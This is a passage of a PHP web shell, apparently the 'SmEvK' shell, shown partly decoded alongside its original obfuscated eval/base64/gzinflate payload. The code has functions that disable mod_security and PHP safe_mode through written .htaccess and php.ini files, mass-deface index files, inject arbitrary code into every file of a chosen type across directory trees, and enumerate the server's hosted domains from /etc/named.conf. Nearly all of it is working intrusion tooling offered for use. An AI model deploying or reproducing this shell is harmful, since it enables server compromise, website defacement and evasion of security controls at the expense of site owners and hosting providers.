            echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
            foreach ($pub as $user) {
                echo $user."<br>";
            }
            echo "<br /><br /><br />[+] Complete...\n"."<br />";
        }
    }
    echo '</div>';
    printFooter();    
}

function actionBypass() {
    printHeader();
    echo '<h1>Safe Mode</h1>';
    echo '<div class="content">';
    echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh  ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
    echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
    if(!empty($_POST['p2']) && isset($_POST['p2']))
    {
        $fil=fopen($GLOBALS['cwd'].".htaccess","w");
        fwrite($fil,'<IfModule mod_security.c>
            Sec------Engine Off
            Sec------ScanPOST Off
            </IfModule>');
        fclose($fil);
   }
   if(!empty($_POST['p1'])&& isset($_POST['p1']))
   {
        $fil=fopen($GLOBALS['cwd']."php.ini","w");
        fwrite($fil,'safe_mode=OFF
            disable_functions=NONE');
        fclose($fil);
    }
    if(!empty($_POST['p3']) && isset($_POST['p3']))
    {
        $fil=fopen($GLOBALS['cwd'].".htaccess","w");
        fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
        AddType application/x-httpd-cgi .sh
        AddHandler cgi-script .pl
        AddHandler cgi-script .pl');
        fclose($fil); 
    }
    echo "<br><br /><br /></div>";
    echo '</div>';
    printFooter();
   
}

function actionDeface() {
printHeader();
echo "<h1>Mass Defacer by SmEvK</h1><div class=content>";
?>
<form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
<p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
<br>file name : <input type=text name=file size=20 value="index.php">
<br>Text Content : <input type=text name=Contents size=70 value="Add your deface txt here"> 
<br><input type=submit value="Deface now"></p></form>

<?php
if ($_POST['a'] == 'Deface') {
$mainpath = $_POST[p1];
$file = $_POST[p2];
$txtContents = $_POST[p3];
echo "Mass Defacer script by SmEVK_PaThAn";
$dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
while ($row = readdir($dir)) {
$start = @fopen("$row/$file", "w+");
$code = $txtContents;
$finish = @fwrite($start, $code);
if ($finish) {
echo "$row/$file > Done<br><br>";
}
}

}
echo '</div>';
printFooter();
}

function actionInjector(){
    printHeader();
    echo '<h1>Mass Code Injector</h1>';
    echo '<div class="content">';
    
    if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
    function get_structure($path,$depth) {
        global $DS;
        $res = array();
        if(in_array(0, $depth)) { $res[] = $path; }
        if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
            $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
            if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
        }
        if(in_array(2, $depth) or in_array(3, $depth)) {
            $tmp2 = array();
            foreach($tmp1 as $t){
                $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
                $tmp2 = array_merge($tmp2, $tp2);
            }
            if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
        }
        if(in_array(3, $depth)) {
            $tmp3 = array();
            foreach($tmp2 as $t){
                $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
                $tmp3 = array_merge($tmp3, $tp3);
            }
            $res = array_merge($res,$tmp3);
        }
        return $res;
    }

    if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
        $name = $_POST['name'] ? $_POST['name'] : '*';
        $type = $_POST['type'] ? $_POST['type'] : 'html';
        $path = $_POST['path'] ? $_POST['path'] : getcwd();
        $code = $_POST['code'] ? $_POST['code'] : 'Pakistan Haxors Crew';
        $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
        $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
        $dt = get_structure($path,$depth);
        foreach ($dt as $d) {
            if($mode == 'a') {
                if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
                    echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
                } else {
                    echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
                }
            } else {
                if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
                    echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
                } else {
                    echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
                }
            }        
        }
    } else {
        echo '<form method="post" action="">
                <table align="center">
                    <tr>
                        <td>Directory : </td>
                        <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
                    </tr>
                    <tr>
                        <td class="title">Mode : </td>
                        <td>
                            <select style="width: 100px;" name="mode" class="box">
                                <option value="a">Apender</option>
                                <option value="w">Overwriter</option>
                            </select>
                        </td>
                    </tr>
                    <tr>
                        <td class="title">File Name & Type : </td>
                        <td>
                            <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
                            <select style="width: 100px;" name="type" class="box">
                            <option value="html">HTML</option>
                            <option value="htm">HTM</option>
                            <option value="php" selected="selected">PHP</option>
                            <option value="asp">ASP</option>
                            <option value="aspx">ASPX</option>
                            <option value="xml">XML</option>
                            <option value="txt">TXT</option>
                        </select></td>
                    </tr>
                    <tr>
                        <td class="title">Code Inject Depth : </td>
                        <td>
                            <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
                            <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
                            <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
                            <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
                        </td>
                    </tr>        
                    <tr>
                        <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
                    </tr>                        
                    <tr>
                        <td colspan="2" style="text-align: center;">
                            <input type="hidden" name="a" value="Injector">
                            <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
                            <input type="hidden" name="p1">
                            <input type="hidden" name="p2">
                            <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
                            <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
                    </tr>
                </table>
        </form>';
    }
    echo '</div>';
    printFooter();
}


 function actionDomain() {
    printHeader();

echo '<h1>Local Domains</h1><div class=content>';                                      
$file = @implode(@file("/etc/named.conf"));                                                                  
$Domain_path = "/var/named";

if (!$file) {
$domains = scandir($Domain_path);
$count=1;
$dc = 0;
                                                                        echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>
<tr><td>No</td><td>Domain</td><td>User</td></tr>";
foreach ($domains as &$domain) {
    if (stripos($domain,".db")) {
    $domain = str_replace('.db','',$domain);

    }
    if (strlen($domain) > 6) {
        
        echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";


    }
    
   } 
 echo "</table>";
}else{
        $count = 1;
        preg_match_all("#named/(.*?).db#", $file, $r);
        $domains = array_unique($r[1]);
                                                                                echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2> There are  ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
<tr><td>No</td><td>Domain</td><td>User</td></tr>";
        foreach ($domains as $domain) {

        $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
        echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
     }
}
                                                                        
                                                                   printFooter();
                                                                }

if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a'])

?>";
eval("?>".(base64_decode($smevk)));
?>'Did this file decode correctly?
Original Code
eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev("TDz\x2bM0gKYWO\x41k0qK\x41tS/Q8D/\x42m7\x410V5WsSzGwuuIV2nlgMNEG2OXom7\x41U\x627fz\x43tMuM3dVm\x41D4gERin\x61pNXKXdPIhTyd6u4ZV\x2bKZRM\x43h\x41v1eNe1utV0\x632d\x62q\x43POnXkm\x62Ei\x635n9/TNMNt\x41ZR80\x2bek\x41YI/KtZzl9/x09LZp8GsRFE686WW6rmUo9YIUHrMuqS03PP5sy\x42YeONsL\x41Xl0XPfzs1sTX4\x61oTFE2vip5XU8nhF68RlI26T6\x2bkOlHVySQkWhtznjW4ne5FXdt5lrXLf\x2bUikT0fG/Vp3v3kLufm4y0ZR\x42uZjIS\x2b23d\x2byU8ZsiRw8EetOJ\x43KRVK4\x432Grg3f5V5lK4\x62qO0NlfDJ38DrlDp\x43Py\x2b1N3Qwt\x43PqnE7e1GJWxsv\x61\x2b9019eRS\x61GjGXdwvrWm5Z5py0O56DOwxu5ovxft\x2b6MlY\x41qK7HYDLjv8ERzq/WX5kk04fsQPqnDJ\x43\x620Fov\x2bG5xHX\x63hUFP3Kef7XNX\x4391L\x43yx1uwFzQlFiQrxEiSwhVLj\x61El\x61/7m\x63o\x421vdxLUF\x63e\x420dEpmPdu\x2b1v3zgX\x61\x41SlXG53\x42OG\x42Z9PQD96T0jUrdNyFOqn0k/\x43k72p\x63M1yTgwTXs/mo34H0sgFrO5VLrSEID\x61VYRZrlrevqzY\x42\x42/TsJqiUZ\x2bJfnXgqmL2dt1fk47Q3yLH9\x61d6m2\x2b2\x61\x61TjeFG0/sPUrG7d7RHMwo\x41UL4\x63Wy0tVxyTgnS\x63\x41xtd\x63\x62UOKrnd70Zkj6sH3poWrWxhuWP\x63\x43Gfdm9R\x62Z0V\x61X\x43sLLV\x61VIGv\x63wRVJgP81OT4zuVpX76T/\x6296M\x429g4ntvKZN06lt6\x639H\x41U\x43H2Xsqt/uRfu4eJ\x41vTrSx\x62XNpyGVXzQP\x42yh\x43PU7wGno63v5h87V0xz4RvffE\x62X1YUqe/vM7rq6RNLzmFpJLrtYHT\x2bUl/LR/hZuVYYdq7dW3vPoVdKSQZVd\x42v1DRMjDv1\x41k\x413Msy829D0Xy1LzizjVU2gNlUUfZVX50O9hlRI6ViJd8xs/65Rr22yFHD7e\x62dfKuhD12T1zzuX\x63/7eX32WEGTf1LnYEgQpmTz/O3urTLExNHqUjjwW1Vv3\x61PNp\x43J4ORxh8s82VvI3TLx/kndlf\x43v3exw4Hnqtj7\x621mxK5y\x424SXzNfp36LOH189/1I38XJtr\x61UUFIuY9U9zHsyM5\x63KemIwdf1X\x63LYxKJdSoxdl\x41uFRvjnQUz7kN8MIOrlkKeky\x6147H\x63\x61NrSYxIIuW\x41jIpnvL3\x61d1JpV/Xsjd\x42sknivUnlG3\x62rFX6\x2b\x41Krx4\x63VeZfJf5uDM\x43h6KphdFd\x42NyoVUkOVD7RxuyKP2\x41Sv\x62ywq/KoHDlrltffxLEE50/1gpWFoNekvolJn5\x43vJoofQ2fxKn9\x2b1/RUpXJHJN\x2bj9iL6GQn\x63\x4238lzpRG9su\x43YQPLniDv\x2bL9xp5\x2bvX\x43\x2bx8ZF\x2bXKP1rdg7Zf\x43et5t\x63Z51\x626TmZu0rMWvpxOInuJiX\x62uIZsioklF67UHmnJ8tR\x41NFL2qKJiXz\x42ZyUuN\x43N\x61\x63EMoqq\x61\x434mZ1\x43ppTZYHPOW\x62w\x411ir\x63O9Edrts\x61lv1\x63WM1RgqudmK\x41\x43\x43\x61\x42g12SZX1llJ1sVhoXDGYNtOuONr5WOHeF\x621X\x42\x63EDj\x43Fhl\x434MYvxTUPWRDqd68O42mSqhU\x2by2zMR33k\x2b0Tv\x41ND8NlPk\x41I6Z\x63rEvP\x41Oyiy51I/5riJ\x43qDJp3YuQ2f6fomVJ\x42t1fJL3g\x2bx\x61YgXdX\x42Pk\x6131gVMJRN\x43rkRl7dr67z2018\x43Xy\x635TI\x43fvvF4Qzf5NSueJkQwPik\x618D83MpDh\x41U3dnrzTHkqErrE\x61UxjZS\x43ol4/IhZ1N\x43elMq/VKnvRn3GH9jFRwdPxv\x434\x41\x62I\x61\x62wUwuREyVWEV74m\x42MNPWz924U7pXI\x2bUDWFnI5885FYHZu\x61W6f5MNhhGHovi6G/y5fvsM\x2bVgPTkezZZOZu6QxT\x63vg\x61tdnRr1vhEVssVghE4V\x62U/USSI7djwPpWzM\x61y64kEjN2d1p\x62wneyfdv7WzflpQ\x63q9mEzM3XKjkT\x43NW\x422\x2bul\x43Qk\x42joxQzR9\x2bRXyUT5n\x42l4udiZioTkQ\x63NYOVVQp\x41R\x2bjk\x61oqme\x433xLhDv7rmhH7\x41qLpZ\x43euRpOt\x2bqHN8V8\x43l9jYVkzy2t\x62tHd\x616Ue8TOrpHehWv\x41\x2bMTD0\x63NwmdUt3Uq\x41\x41zy1rtY\x63v\x41qMLIjS86vu8h3\x41J\x43FY3VKZuYwXTuh\x63K7\x41hffO2r8\x2bz\x61VrMlU3\x61JW1P\x41f5R2\x2byWlwpSHPiqj6yeeV0\x63g9OvK6LfTw\x41kXtGhmQkqxvUj\x43\x42JMyUmmDk7w/fonVieX9\x42Dd5Nu2k\x61\x4103dJ\x63Lr4oHL\x62WLLp8TgLekYnr9uH\x43MJNr\x61KYKqu7\x61V29IOqKNoj\x43f\x42hrWnOvlOL\x41InyjoVRrHju7wSMY1tPY7QD2h\x2b2w\x62USMEfQMG\x43vfT0EjtR\x41Xr\x62YZj8u1X9th5s44kXvxyvLvzNG9RNMHxRqZFSz1QvyNO/5J7fUZxn2\x622\x423uLs8\x63sMHgh9jhrFtTuVtl\x41FN\x41yHNJ6nopX/k2\x43QoRxdV1l\x2b\x41\x42Pe\x637\x618S\x41\x63qF\x634HroR\x42K\x42\x61WWtsS\x61H/kxsuQkp1/sVpUTFyZ\x61\x6177U5FMW76/y\x414TurK/elg24ron\x629\x2b280\x619/6vjVEprJ\x63\x62SHmtJs7lz1nF\x2b4ur2OjiwtRuHxkiuP4KU\x62585mKF\x61z75\x63\x42gMqpLzy71qk4rkRgS6x0QhG\x63J4nrdHzQ\x42OetZDgXXdjL59ofX5\x43gydhH1xqKp\x2bWllg6wsT/vWHueHTz3n32Y2UX1\x2bk\x62Xxgwi7Jq1FN0vJZ\x63QIlTnuvhkr8yfisZVnK8JL81Lh71LRQ1YgeIuIT8hp6U7yVH/r/9YPWYzJt1dj5\x63po\x63wlY/DmV2yHj95\x63EEND8o6keg87mdXm9DoK5w\x43m\x62\x63/We6xksEtWwnV1P2\x63x\x63XMKsxxdySX04s4YF\x41fu1Uy\x2bKmlx7MK\x41wzRlgpSyK5L\x62Md3NnE\x42KQTWWIh\x43\x61GR\x43\x42sJshVV109m6HOKYjgRg\x41\x63Qh7580YVxiDLwlTMg\x63\x42Wep\x42Xuj8rWJRSU\x63Ly12L73gnmHOFyLqs\x61sRJwWw/JoxMTV64\x2bJ9ygeqzVDVy4\x41mr4fXlKsHIZ\x61Of5QV1ujzfhG7u9hEsnYhRygYwNJ09UI\x62oPvhZGZ1dTIlKV/\x61VxOOk3\x43I0rF\x2bK8qhUI\x420O5yRWZuxvzJ6EDPEjuN/30/N\x2bxHNFO\x62luW\x2b\x414lKnI6S/DeX\x2bHVt8V5\x2bzji8ij42T1sSjKX\x616OVF\x2br45H/qeZZOXxSt0lP//7mm1s\x43fj1ULZ/v99K/0ff8\x2bq/q0p\x61LpLYYql3eWieD1g6YlWX4j9sKoQdgfYfVDWTOGFuHnmVW\x41eGEoU\x63kIDjJLxWLIzdd76Y7sfEWyvgZ\x434hFw\x42gm\x420THLgzZVJ\x2bw2w6GZ8L\x41DXz/t94\x62\x62rsQI7hNH9kfIOZf3i092ftR\x438mgN\x43u7VXH\x41Wsf4QeqeglzSVQQM/9rfZwnt4pxvSnKUl\x615xVl7zkk4U/XL2uo/NsgG\x62oFWMvS\x4367IJq1NvE1VeR\x63\x62\x41uWU/prkeg6gPfZuf\x429gnd\x63VuR\x62\x2b8mVpmUZJqi\x63O0YoxlTy1z\x2b\x62GxlMGKHpn8vYeH\x43MZdmI/LrvOve3\x62IHvWtkNpe9zZMExLHLsWVu\x62vKPKhzjsQyF\x63Du75reroxjnYSy7/1Duv\x62P\x632lxSf5\x61s\x63M84H6OJi\x62m\x43Dlo9\x42h29t28\x2bJ8kS\x62qJgDv\x2bWmFXk8RE\x63pOT3VMp\x61o1JeT\x2bT1p\x439O1\x438jv0WOz/\x62LoR00\x61XJJOUzIS4e3E\x42u\x43V\x42nRJjS9eN4RGOU0s95yNR2\x2bL\x41tRsv\x42Jqx/V9jumJFSHvZQ0/z\x2bH\x61VRX\x2bW\x61tzm\x42tW\x41HK\x62k\x2bmSojtR7zuWQ3ZH6ox4xhe1kZvI1tf/R2\x61G\x61UZO6nKpVhi\x432IDWDxKu\x2bldP0xpFO7x/HIJ5NUQmYDkK9fN3fH3rzfX93F0frP203XE\x62JIH1TqIzT9Uk0W9IkvwOq1X0l\x63/R\x62ZvugI\x63loxptu60\x2bu\x6234k\x61kW3e9/SwNItW0E\x63k0essfoPvQ\x41jjGWdZ8pqOq4sKh2eWENdDeS\x41hUD7DpJtSjkzV\x2bO0DdwenKz\x62Oum3xOtmH9Hf8lho48jhzdW7jIS2\x61M7XsqwyP8\x41\x63D2WWn6FG/\x43J3wvEyh1Gfl/\x42RJDd\x61\x61mzm2kz\x42Skh\x42Po\x62FtfS\x63MWTI02HLiq2W/HDh6zqjgOZXzt6R3L0EN68UU\x61TkNTo\x61\x2bmFglssKMFe308m\x2bLtnD9YId/rvI\x42j\x43e8\x41Flt\x2bKQV2/YGZXYZypRxKl455rN\x61GqrN9mxX560\x62LQHYreF\x42LyJ3\x423PkYVSFSR4ZPO/Xm\x41PFozN\x426\x62hoW\x41w4PqW2\x631\x42l\x41eDmh8p61x/w\x42PM\x62MLS\x62HO\x2bpm3Uxwktm4t\x61jPij3dJ6Mge3Tso\x41P\x429leH4xWWynU\x43N\x41Ws4isvF\x43\x43/Y7gyOm40YX6Qd\x62\x42D2mg\x62zTKPxESq85gyl9GzEYyl9gDgVfXQR0spk\x61e\x615We6\x61xWFps9pSPFhnpt\x42f\x41Y1ZTzp8f3pMwvTZI89HW\x424SFK\x43IR2y5frLkVU\x431\x42\x4243\x41\x62oGLOqywzzxZs3rdjj6X\x2bzVJ4\x632iwyKd\x2bS5F1r\x62GtT4l87TtLfKDe17z2\x41J\x61SH\x63JxJME\x2b\x42UZ38svTsq\x61s4t1RIoee0\x42FY245p/NNLHeLYF\x63XZkGKoo3shZffW\x61Xo6W3Im6izs3qqo\x63MQs/\x43\x61P5Gk2QKZV9Tl3\x638\x62W\x63\x43h\x63XJ/\x42uwM\x61o\x61PX\x2bW\x61Sv0KV2w\x62jHX4T\x62P6ji73rkjWIk\x62OXrojHq\x2bO5hGTz4/fRgOvyk\x61Fp8\x62UiEU/eWjei\x43RINtJ598S3OVG1U\x62Erxg3kNgxyj1/3ZQwdP\x61\x2bMFr/Hx\x438RyToFuVX1X23pDemijkLxEUx9wQ24VRhZ8\x61qKxrz/JdfH\x410\x61hqzqrXTdWsh18PqwwlHogW3m96\x2b7LL\x42dZGXXxuud80\x2bV\x42KUFUT7QDw0V52t5uny\x636TeqjkJ2/xn\x61pu\x62JnSPrTFDmmfHtld6kTrY\x2bdtJz5Z\x61w9\x413D2G8Nq8z/8\x63GTVyEGjZ/xtn\x63LL/ZXokqiveQ\x61Fl\x63OEvWLnjz\x42ORTvI7LrX2npf\x63Es/HpMfLSngdmM1N5uLtdNmKz3ZYoTRXQSKf\x62E\x2b7\x63\x61WIUhZt50R\x2bY\x63Oh\x43h2WMLquv3P\x62L8GiS8tGu\x2b43u/nT\x61s9dE4yPDehm74G\x42QkmR70KHsVJozRY\x62IeSx\x63M77F8ZYO4Ev1\x2b6QMpt1oou2hnYd\x2bmrVDLf1k8XfZpOg\x42Tz4vH8wwYo3eRSPO/0Y\x2bRdz1JVQ/O7\x42nG\x2bvyJ88OrDlRyM/98h7zdTTFGG35S0wSErdM17M2\x63vp/zIUX9tHeVOUHkPu5UFIo4XM\x2b/IeZlpq9FY2y\x62Eo7o5OLoP5WVj/xY\x61zvzFKZWrvjmlk\x41emOi\x42\x61xWTTri2v\x61iq9omtrXoW\x621h\x42Qr8g\x62Qn\x61VR368YITxgq\x431O84MqV\x63L2pNi1\x41\x63T\x2bjS32\x43mWZ\x43ikl\x62v\x42\x62\x42i7t8Ux0\x2bQSiz\x418TV3zN\x2bmLOPFo2jUtVgNpv36\x63\x42jF\x2bKGXv86lH\x2bqY32G8UY7SMGEPHjGz4IZHHTz\x62T3QoQI2TWV3kfLhl7Jvg7ykw\x41G\x41Ko1lF4Q0TheupWz7Pm\x425wm7LRVZ2jthds/mM3\x41lvvp6\x62uJlwn1V2f0y10WWP\x42je3\x63en/9HtrmyppVOMwJVEvOYtjFv8VPTXlr\x63Ymm/o\x41Yw\x632GQXPrPvx/TYY\x2byfrExP/q\x62Vpi\x41y\x2b\x2b8PNT1dyh59VqVzfyg4nIRZZwnpnKwWPY8LN8I\x2bh\x43vwoxR5\x61Fg3lsLF5R1HJPVwe6nvi\x61ej\x2byqFEsXhq\x63Rr40k\x43/p\x4118FRsV5XRmZFXO\x41X\x63Nxk98y6wR\x42y2gIlHkS8YrI\x42k/1/Q0jt1W5dopV2O\x61\x2bYvMpEf7K67\x2bR\x62vKf9S8k\x62F9j\x63iKdleRl4HKttlxMs\x61ve\x42o8Li\x43t/5MrRGlvD4r9\x41P93d/\x63Grh6v/YNh\x43SzT\x41fSLULy1\x617E0R8rIO6GG\x42wjI4SFHf000D9T7\x42ef\x63ZET2umf\x63yU9yy\x426x\x63Ze\x2biThq\x2bQksfeSyxX\x61\x63vl99H6P7\x41\x63/\x42jdh\x43VHfVO\x2biJiWKs94OTSjs93weolmQ\x2b6\x63QLL5GtLFh5rUMTU3P\x62nl2UzqNPS\x43norvuG\x62qy7K3FF1fjhpYu/yGzz/2q0t7\x2bpMP\x62sx6jurTHIIeW3R6OjY\x43fUerP\x61I/l7PHvRgQ6hYX56XMoede\x42OmT\x2b\x62tZl9wZhoex/3hkwo\x61u\x43fN\x418W2\x62h\x42kvq4dlk\x63FTnZxXGUuJfDeR7KG\x417h\x41gUs3ugqGT25WUsNij\x62\x43VNG3qfps1LxUz1L6eeX0Eio\x62UiUgNSyk9Q6xtL\x43LxrKDJelV3dLjq\x61oeGvT/4u\x2bUxGXt\x439PpK1MHfkMmGquzGs01\x41iJV5gQrSxUMwLT5\x42GtWZlvjZ0NNYxLGpi\x2bml\x63roIsd\x2bQLs4KwIwt2hKJHj17x2itjwdu\x61Gp\x62\x42Mozret/\x43T0uI\x42NnnFGhpLI\x630LYwNiFmP\x42wX/2PYDVvo\x43\x62UIEhp3zq9\x42\x43wywU21mZezSLum1WIL/7o\x2bue3Exl8m\x41N0uT\x43uyrETw\x62w\x61TWvWPkfP8E2Kxu4we\x63K1pY35gGToyGdQDNHwu\x61D23h\x6245i4d\x62\x635O\x63FP/rySxSmYklLz5lGYmFO7FDn7ggXgSZDVJ\x434rz129DDRdozrDm/dmySGr\x4244onUwWzKoKUuk\x42\x62myW\x61Rogip\x43Zg9g/\x2b5qz6OpeY8ixP\x4236YGT3G\x62L\x62ZzkSdZgIPEwlYHp8v\x63d0UMd\x61YNyQZs\x62YeTjnifwTp6FIVpd\x611N\x42o7\x61Z3QoW7qn6j/N3WHPVs7Q3viI\x62yXMPYi\x42\x43siXI\x2bJREzthl9pJn2TUT5z\x6120KX93FyVr9vFL/5zqL8KffzKjoz3q0MISDmeJ0856U1UdO4yudSZl03\x2bVw/rheq0l2Ff\x62yES\x42ZEGNSTGvRU7t\x4154D\x62pdRn6qwm8M8xY31\x624\x630fD6ddSUPi\x63gUqM88hGmrR\x61PpeUT6yNKlvwVD\x61\x43SorT2XpNk1ysy6mmq0TnXdU6/0lnWgxrM9o26GL30759FfipzTuZZT6\x43v1N8Y\x42LKXtREqzVOmym59g\x63f\x63Yitq4\x2b2OwOZnqY0\x43\x62W\x62UG9iLmEmxSem\x62ngDeVWVSweo/I34tNJ\x632w61u4jheT8QKK9wYn8d\x626yD8t4S9Xo\x62D8huisnMZz7H6z5Gf\x6317YwmhOjg39XOr5uZMrr1Nov\x417IVHX\x63fdg6e00d/uf\x63\x611N8H1G3P9O4\x63qTDTXnqvXqIR//IY5mLzz\x61\x62YF85Y7i\x43OY874iKvY\x620SiJ0jXH7NDPO\x63E22\x41P5sgsWVT7wtxvSUN7\x62n\x2b2TE07wdt0XhiTfvXhVPsQu\x2b\x63\x42K\x61Om8iV33rOdGf\x2bytX0OKJeIQe\x43Lri\x41X\x618\x61\x61zMMQN1Y\x2bQrZXKu0W9m388lT4j1YzeRud/q8fDl0s47/GF\x63jfpXUD\x42PDW\x63\x42f6s7V12gpyNhl\x63VMtfuNUglnIP\x63vJPDz7\x41Ppx4K/q/qL21\x61ivRTJ\x41poh865NIL93YQUkEuxm\x61/DkerJutYHX1vS/03EGRDOX\x62EV\x43YlsmPIs5ls/tHt3H0597LUHH\x63Q7X\x43seFfSX8j3y\x41PQlTtvD6FH4\x61LS29Plm40K4138e5f1Dy\x62EZ0XQfEU84/Js\x437\x61eI6Lst8yw\x2bJWIM\x42D\x63fnYYugR\x635WSe3vdp9vgzrmR\x6378evthp84v384E2sLRswz7Tw\x62XG0\x43PXnOyXhOtK\x41\x61f9qd3yyMYqi1yzn/k\x42esp\x41\x63Mi7zlK3r/P\x61usVpzGP4\x62hHR2TQLPv\x62mzZGz7L1rhKFZFlv\x62o\x43lG\x2bu6R7qwhHdIUt8TMWxG3ei\x62V3n0O7g1Ts8P7f12\x2bK4lW32\x61o\x622iKjL6J08J7\x43Dp\x42rV5\x43lTfXDgJTerrEy4T/LwO\x63KSEX8gu\x2bN9xFT7s\x42tn8FsNwhFmxZLko/3P\x61Um1Lo\x41Df\x2bYLj7P\x2b5Sinq3Yz3m5\x431JDr1T\x2bw35DfpJu\x42d15xQGzGfzGFvLl\x62vXRn1\x43hVPm\x411\x628Ye1wro\x618PP\x61O\x42t8T1v\x42\x43DNrSmumT5jD\x62nq2\x42Ht4r\x62ZrsrYg\x2bK7v\x43\x63FosN59SqjHXOvUxF6vX7t82\x2bk\x2b\x61pMGvWFpzoIet/S5t\x2bjgP\x41h73lPIDdJ6Pdv\x63KJshjk\x610690yFw\x612Z1EUKYk\x42MI\x62R9\x61oKRk9\x43\x43FdW27\x63Rwv54Pxs9jwFOp37\x62Q\x63MXF6dV10ZgeQ7IH9N0\x63\x630vV\x41EOw6WM5Z4rdeD8SRHuUSerdG18q5pIkYf10n3Uk8\x2bhQEqFGTDfHuW8yQrqw3t54\x613po1\x2b\x436SOiEI/g6ewDi7J1dJ0X2kZDVp\x43vhjm6suxm1XE06\x2bOH947WInkWKtKR\x62g0Y\x41\x42\x435t9\x43\x2b\x42hZyhRrvJQnO/UgXDundRv\x43\x43xpmNOH1XqGTRyNtyu7ISd62IKjY\x62\x42vPnEZENMj\x42\x63/x\x628nYm\x62tmvu\x41\x610Q9wdUF\x2b/QNgXxzNdl2RKDXd/YU\x42MYdRfsPOOPQfG\x63v6n8Jwo4FEWSTqf69gF6MpOQ0z7\x63Vdk/d\x62ynu\x2bZNr2W8UZO\x62FyZr5kpWe1Gj6/h2hoI\x61\x42\x2b39\x6299HZFG\x614w7RM\x43ND8\x618itXigG3xkvOR0DZPHiUI\x614skeXxni9HKE2l0Xul\x41Ej2S1pse/7S\x41I4Ufys\x631RrV7Ie\x43uMpDk1yPfx5KpzPzNqdX2/4mj82\x41qy4y\x43tx\x2b5q\x43MMh\x63qMv2ijklfutZUVopnxkx\x435JLW\x43\x63jOSH\x412H3UOiF6xz9m3\x61IeHNZZu3KPWi\x41Rry\x42OdL9Odu\x620Oke4ku8f6mfWVOLxeoE7jd\x422yWYd/6d5Pp8qeJIS3qy\x42D7v0o2Mgei\x41tQKzjrd0OR\x63nnTEry\x42IsPSt/e\x62f57z\x42VDniyJs9Gr2Eoggn6HkpOy4wFRkOwjI\x61Jpizxqp/g0\x2b2wLsZiK\x43yI3RW2JRd38NDg\x638R\x2blqZvy58m2O4lL0FKES2GGQx\x42HPzXPe87hVtL0e8953fZXUNULjipNY/eGVeTZoIT/JzWHS66niu\x2behElYK\x42zeos8020Ft3Q\x41YiX0\x61im6Xt3pq\x634uqxUvy6LvQr\x42GfG/V\x43Iv1910o\x2bp5rnsUW\x2b\x41spfQ5O2U1\x62J\x61Id\x413pGVT46Q5Rr6X2NphUTQSOkTPiVo5Km6Plf\x2bG1knl2/Wr\x4222nG4en22WPHDK\x43242\x2bXn\x2bJl\x61xXmoZos8hyjHnGKr6hrEj3f\x63ss1HdgeDn4U/Dv1\x41s2gpwp8jt\x63Wdnye\x43S\x42L52wf52wUXGHvqTW\x43f54M77/\x62\x438F\x62\x62FL5OIxM65vw4tmNZX\x61OTlLy38\x43HeJG4Ut5W1E5hq/LuRWywRvn